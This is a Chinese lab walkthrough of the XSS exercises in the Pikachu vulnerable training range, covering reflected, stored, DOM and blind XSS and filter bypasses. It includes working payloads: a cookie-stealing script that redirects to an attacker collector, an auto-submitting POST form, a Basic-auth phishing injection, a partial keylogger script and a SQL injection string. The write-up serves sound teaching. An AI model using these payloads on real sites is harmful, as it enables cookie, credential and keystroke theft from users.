Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
你可以通过“Cross-Site Scripting”对应的测试栏目,来进一步的了解该漏洞。
当输入内容时, 内容被执行写入当网页:
所以可以直接注入:
发现前端对输入的长度有限制:
解决方法有两个:
看到对应的input标签maxlength是20:
修改为100后, 可以输入完整的长度:
弹窗成功:
首先网站为了更好理解利用xss盗取用户的cookie, 模拟了一个用户登录的过程:
登录成功后, 就和Get型一样的界面了:
虽然界面是一样的, 但是请求方式不一样, 用户先经过POST请求登录, 然后再在当前界面用GET来提交信息:
有的人会问, 这两关有什么区别吗?
当然有区别, 在xss GET方式中, 攻击者可以直接伪造一个已经构造好的攻击网址, 比如:
http://localhost/pikachu-master/vul/xss/xss_reflected_get.php?message=&submit=submit
来诱使用户点击, 盗取用户的cookie
其中, http://192.168.10.100/pikachu-master/pikachu/pkxss/xcookie/cookie.php?cookie=. 是攻击者自己收集受害用户cookie的网址,
有的人还问, 这么明显的攻击网址, 没人会点。
是的, 的确看到的人都不会点, 但是攻击者会去缩短、包装攻击这个网址。
那么, 在POST方式的xss中, 与GET不同的是:
1. GET方式中, 攻击代码是直接暴露在URL中的
2. POST方式参数内容不会出现在URL中
因为在POST方式中, 就算将构造好(含攻击代码)的URL给用户点击了, 也不会直接触发拿到cookie, 反而会直接弹出用户登录提示。
这时候我们就得用一个服务器(攻击者的), 伪造POST请求去登录, 并且盗取用户登录成功后的cookie
这边pikachu靶场自带了一个xss后台, 地址为:
http://localhost/pikachu-master/pkxss/index.php
ps: pkxss目录下还有一个inc/config.inc.php文件需要配置, 配置完成之后, 访问上面地址, 初始化数据库:
里面有3个模块:
然后cookie收集中, 就是攻击者收集受害者cookie的地方:
我们可以先尝试一下这个功能模块是否works, 顺便复习一下xss的GET型漏洞:
先修改xss后台下的pkxss/xcookie/cookie.php文件,将IP地址改为漏洞服务器的地址:
由于这边是本地搭建的, 所以地址就是本地
然后诱使用户点击攻击网址:
http://127.0.0.1/pikachu-master/vul/xss/xss_reflected_get.php
?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.10.100%2Fpikachu-master%2fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E
&submit=submit
192.168.10.100是攻击者收集受害用户cookie的服务器地址(也是本地), (需要进行URL编码才能访问)
访问之后, 自动重定向首页, (是为了不让用户察觉被攻击的事实), 如果重定向其他地址, 用户就会知道被攻击了:
现在看一下xss后台, 成功收集到了cookie:
上面说了那么多, 只为做这一步的铺垫
攻击思路如下:
本地演示过程:
我们首先需要搭建一个恶意站点(攻击者服务器), 服务器上有一个post.html, 其内容为:
代码分析如下:
将这个post.html的URL地址:
http://192.168.10.100/pikachu-master/pkxss/xcookie/post.html
发送给受害者点击, POST表单会自动向漏洞服务器提交一个POST请求,实现受害者帮我们提交POST请求的目的
进入xss后台, 看到成功盗取了用户的cookie:
留言板将输入的内容写入到网页中, 并且存储到网站数据库, 假如遭受到恶意代码攻击, 那么受到的攻击将是持久化的:
随便测试一个payload:
每次不同的用户访问这个留言板的时候, 都会触发这个js代码, 因为是存储在数据库里(存储型)
成功跳转了:
在靶场的pkxss目录下, 有一个xfish目录, 里面是相关的钓鱼脚本:
钓鱼脚本使用的是 Basic认证 ,
我们在这个页面上嵌入一个恶意请求,当用户打开这个页面时, 就会向攻击者的服务器发送请求,这个请求会返回一个Basic认证的头部: 会弹出一个提示框,要求受害者输入账号密码,从而盗取用户的账号密码。(比较明显的攻击方式)
首先攻击者需要构造一个钓鱼页面,用来将发送Basic认证的认证框,
这里用的是靶场目录下的: pkxss/xfish/fish.php:
然后将攻击恶意代码嵌入留言板中: (弄一个弹窗来判断是否成功注入, 现实中弹窗就太嚣张了...)
注入之后, 就会弹出Basic认证:
当受害者输入自己的密码就会被钓鱼, 钓鱼信息存储在攻击者服务器上, 这里的地址为:
http://192.168.10.100/pikachu-master/pkxss/xfish/pkxss_fish_result.php
可以看到刚刚被钓鱼的用户信息, (并且信息存储在数据库中) :
同样, 攻击js脚本位于网站目录下的 pkxss/rkeypress/rk.js :
/**
* Created by runner on 2018/7/8.
*/
function createAjax(){
var request=false;
if(window.XMLHttpRequest){
request=new XMLHttpRequest();
if(request.overrideMimeType){
request.overrideMimeType("text/xml");
}
}else if(window.ActiveXObject){
var versions=['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i
其中, 192.168.10.100 是攻击者的地址
上面脚本获取了用户的键盘记录后, 再重定向到 rkserver.php:
攻击者往留言板注入恶意代码:
然后在页面上随意输入键盘, 会调用rkserver.php记录键盘活动:
访问xss键盘记录后台:
http://192.168.10.100/pikachu-master/pkxss/rkeypress/pkxss_keypress_result.php
审查xss_stored.php源码, 可以看到在删除留言的时候, 存在一个sql注入:
当点击删除留言时候, 会有如下数据包: (抓包也可以看到)
http://localhost/pikachu-master/vul/xss/xss_stored.php?id=1 and extractvalue(1, concat(0x7e,(select database()),0x7e)) %23
DOM可以理解为访问HTML的标准接口,DOM里面会把我们的HTML分成一个DOM树
观察网页, 随便输入一个值, 点击 click 的时候, 出现链接
点击之后发现可以实现跳转:
在网页源代码也可以看到, 点击click之后生成了标签:
输入:
javascript:alert("You are attacked !!")
看到输入的值被网页的a标签href闭合, 那么直接绕过即可:
于是, 随便输入一个关键字测试一下:
发现单引号被变成双引号, 也就是说, 输入的值是被单引号闭合起来再传入标签中的, 在网页源码也可以看到:
注意看 ' "+str+" ' , 所以绕过单引号闭合即可: (姿势很多)
' onfocus=alert(1)> // a标签内部加属性
'>
// 闭合出a标签, 将img标签嵌入上一级div执行
这关和上一关差不多, 这里主要分析一下网页请求过程
当随便输入内容并点击按钮后:
发现url新增了一个test参数:
点击链接, 调用domxss()函数:
大概是解析url提取出test参数值, 然后嵌入到新的a标签中:
然而, 注入的payload还是很上一个一样:
' onfocus=alert(1)> // a标签内部加属性
'>
// 闭合出a标签, 将img标签嵌入上一级div执行
XSS盲打不是攻击类型,而是一个攻击场景。
当我们输入内容并提交的时候,
发现内容无法在网页前端显示出来, 也就是没有写入到前端页面, 而是提交到了后台
倘若注入xss, 则无法得知是否xss被执行, 但是管理员回去看, 假如我们注入了xss代码, 同时管理员又访问了后台, 且后台把我们的内容输出, 那么后台管理员可能遭受到我们的XSS攻击
这也是称为Xss盲打的原因。
通过提示我们得知管理员地址为:
http://localhost/pikachu-master/vul/xss/xssblind/admin_login.php
模拟管理员访问并且登录, 可以看到记录, 观察网页源码:
我们盲打注入xss代码:
然后等待管理员进入后台访问并受到攻击:
在实际的网站中,或多或少都会做一些安全措施,但是这些安全措施也存在方法、逻辑不严谨,可以被绕过。
看到熟悉的界面, 上去就是一顿xss注入:
继续分析, 发现是对script关键字进行了过滤:
绕过方式有很多:
// 大小写混合绕过
// img标签
观察源码可以知道对script关键字进行了过滤:
PHP里面把预定义的字符转换为HTML实体的函数
预定义的字符是
- & 成为 &
- " 成为 "
- ' 成为 '
- < 成为 <
- > 成为 >
可用引号类型
- ENT_COMPAT:默认,仅编码双引号
- ENT_QUOTES:编码双引号和单引号
- ENT_NOQUOTES:不编码任何引号
输入内容, 发现被写入了a标签作为了一个链接:
那么继续用闭合绕过的思路, 发现 " , <, >等都被转义和HTML编码了:
但是发现单引号没有被过滤掉 (htmlspecialchars函数默认是不过滤单引号的)
那么依旧可以采用闭合绕过:
hack' onfocus='alert(1) // 单引号闭合+事件标签
javascript:alert(1) // JavaScript伪协议
这关是将用户输入的url作为a标签的href属性值:
而且发现怎么都闭合不出去
审查一下源码, 发现也是 htmlspecialchars() 过滤, 但是这次过滤了单引号:
服务端进行了两次关键的处理:
这里也可以用JavaScript伪协议来绕过:
javascript:alert(1) // JavaScript伪协议
这里输入内容被动态生成到网页的js代码中了:
根据js代码的逻辑, 输入tmac:
这啥玩意儿...逗我玩儿吧...
于是观察js代码, 发现可以用
这个漏洞的输出点是在JS中,通过用户的输入动态生成了JS代码
JS有个特点,它不会对实体编码进行解释,如果想要用htmlspecialchars对我们的输入做实体编码处理的话, 在JS中不会把它解释会去,虽然这样解决了XSS问题,但不能构成合法的JS
所以在JS的输出点应该对应该使用 \ 对特殊字符进行转义。